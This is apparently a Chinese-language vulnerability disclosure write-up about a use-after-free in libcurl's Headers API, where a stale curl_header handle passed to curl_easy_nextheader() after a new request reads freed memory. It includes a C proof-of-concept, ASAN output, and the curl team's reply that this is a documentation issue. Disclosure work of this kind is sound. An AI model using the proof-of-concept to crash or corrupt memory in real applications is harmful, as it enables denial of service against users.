libcurl Headers API 释放后重利用漏洞:跨请求复用头句柄导致堆内存安全风险

libcurl 释放后重用漏洞分析

漏洞概述

curl_easy_nextheader() API 返回的 struct curl_header 对象内部引用了 libcurl 所拥有的链表节点。当在同一个 CURL* 句柄上执行新请求时,libcurl 会释放并重建内部头列表,但先前返回的 struct curl_header 对象在应用程序中仍然有效,并且仍可作为参数被接受。

将此类过期的 header 对象传回 curl_easy_nextheader() 会导致 libcurl 解引用已释放的内部指针,从而引发堆释放后重用安全问题。

这是一个可通过正常 API 使用方式触发的内存安全漏洞,且受攻击者控制的 HTTP 响应影响。

影响版本

所有包含 Headers API(curl_easy_headercurl_easy_nextheader)的 libcurl 版本。

在 Kali Linux libcurl(2026 年 1 月版本)上复现成功,可能影响所有当前受支持的版本。

涉及文件:lib/headers.c

技术分析

漏洞设计缺陷

curl_easy_nextheader() 向应用程序暴露 struct curl_header 结构体:

c 复制代码
struct curl_header {
    const char *name;
    const char *value;
    unsigned int amount;
    unsigned int index;
    unsigned int origin;
    void *anchor;   /* 内部 Curl_llist_node */
};

anchor 字段存储指向 libcurl 内部链表节点的指针:

c 复制代码
copy_header_external(..., struct Curl_llist_node *e, ...) {
    h->anchor = e;
}

当执行新请求时,libcurl 释放内部头列表:

c 复制代码
Curl_headers_cleanup(struct Curl_easy *data) {
    for(e = Curl_llist_head(&data->state.httphdrs); e; e = n) {
        struct Curl_header_store *hs = Curl_node_elem(e);
        curlx_free(hs);
    }
}

然而,先前返回的 struct curl_header 对象在用户代码中仍然保留,并仍可被传回:

c 复制代码
curl_easy_nextheader(CURL *easy, unsigned int type, int request,
                     struct curl_header *prev)

该函数直接解引用:

c 复制代码
pick = prev->anchor;
pick = Curl_node_next(pick);

如果头列表已被释放并重建,prev->anchor 现在指向已释放的堆内存 → 触发释放后重用。

存在的问题

  • 无旧 struct curl_header 失效机制
  • 无代际追踪
  • 无生命周期强制约束
  • API 文档未说明 header 句柄在新请求后会失效

概念验证代码

c 复制代码
#include <stdio.h>
#include <curl/curl.h>

int main(void) {
    CURL *curl = curl_easy_init();
    if(!curl) return 1;

    struct curl_header *h = NULL;

    /* 第一次请求 */
    curl_easy_setopt(curl, CURLOPT_URL, "https://example.com/");
    curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
    curl_easy_perform(curl);

    /* 获取并存储一个 header */
    h = curl_easy_nextheader(curl, CURLH_HEADER, -1, NULL);
    printf("saved header: %s: %s\n", h->name, h->value);

    /* 第二次请求(释放并重建内部头列表) */
    curl_easy_setopt(curl, CURLOPT_URL, "https://httpbin.org/get");
    curl_easy_perform(curl);

    /* 复用过期的 header 句柄 */
    printf("calling nextheader with stale prev...\n");
    struct curl_header *h2 = curl_easy_nextheader(curl, CURLH_HEADER, -1, h);
    if(h2)
        printf("next header: %s: %s\n", h2->name, h2->value);

    curl_easy_cleanup(curl);
    return 0;
}

编译与运行

bash 复制代码
gcc -fsanitize=address -g poc.c -lcurl -o poc
./poc

ASAN 输出(节选)

vbnet 复制代码
ERROR: AddressSanitizer: heap-use-after-free
READ of size 13
freed by:
    libcurl.so Curl_headers_cleanup
allocated by:
    libcurl.so Curl_headers_push

这确认了 curl_easy_nextheader() 解引用了已释放的内存。

安全影响

安全影响评估

恶意 HTTP 服务器可通过控制响应头,在使用 libcurl Headers API 且在同一个 CURL* 句柄上执行多个请求的应用程序中触发堆释放后重用。

可能导致:

  • 进程崩溃(拒绝服务)
  • 堆内存损坏
  • 根据分配器状态和周边内存布局,可能实现代码执行

漏洞特点:

  • 可通过公开 API 文档中的正常方式触达
  • 由攻击者控制的 HTTP 响应触发
  • 不需要中间人攻击

官方回应摘要

libcurl 团队认为此问题主要属于文档改进范畴,不视为安全漏洞。核心论点是:应用程序会在开发阶段立即崩溃,因此不会有实际部署的代码存在此问题。

官方已提交 PR 更新文档,说明指针在新传输后失效。该报告最终以"信息性"状态关闭,并已公开披露。 biOK/hzhVF2yKaGc5mK8oeejIYuUYW8I3RsXQCFCiXXHMxxsuKg0+t9iC0qHOQJ5

相关推荐
jay神4 分钟前
深度学习的优化器应该怎么选?
人工智能·python·深度学习·毕业设计·课程设计
Hello server2 小时前
DeepSeek Harness 深度体验:把「万物皆插件」做到极致的 AI 编程 Agent
人工智能
牛哇网络工作室6 小时前
UnityHDRP写实数字人全流程基础5—语音输入和语音识别
android·unity·c#·游戏引擎·aigc·语音识别·xcode
驴友花雕6 小时前
【花雕动手做】行空板 K10 系列实验之人工智能语音识别小车的10个参考案例
人工智能·单片机·嵌入式硬件·语音识别·行空板 k10 系列实验·花雕动手做·小车的10个参考案例
怕浪猫7 小时前
DeepSeek Harness 源码实战第2章:Cordis——驱动 dsh 的插件引擎
aigc·openai·agent
火山引擎开发者社区8 小时前
DeepSeek-V4 Pro 发布,veStack Day 0 完成模型适配
人工智能
2501_926978338 小时前
AGI 的四种瓶颈:资源型还是发现型--以及DSH的位置
人工智能·经验分享·笔记·ai写作
Q463913498 小时前
线下销售复盘难落地,AI 会话设备能帮上啥忙
人工智能·自然语言处理
ebok.8 小时前
国产大模型落地业务系统的优选载体:京微智枢信创 AI 业务支撑平台
大数据·人工智能·低代码·ai
wujian83118 小时前
怎么用文心生成word文档?从格式错乱到智能导出,AI导出鸭让创作再无后顾之忧
人工智能·ai·word·豆包·deepseek·ai导出鸭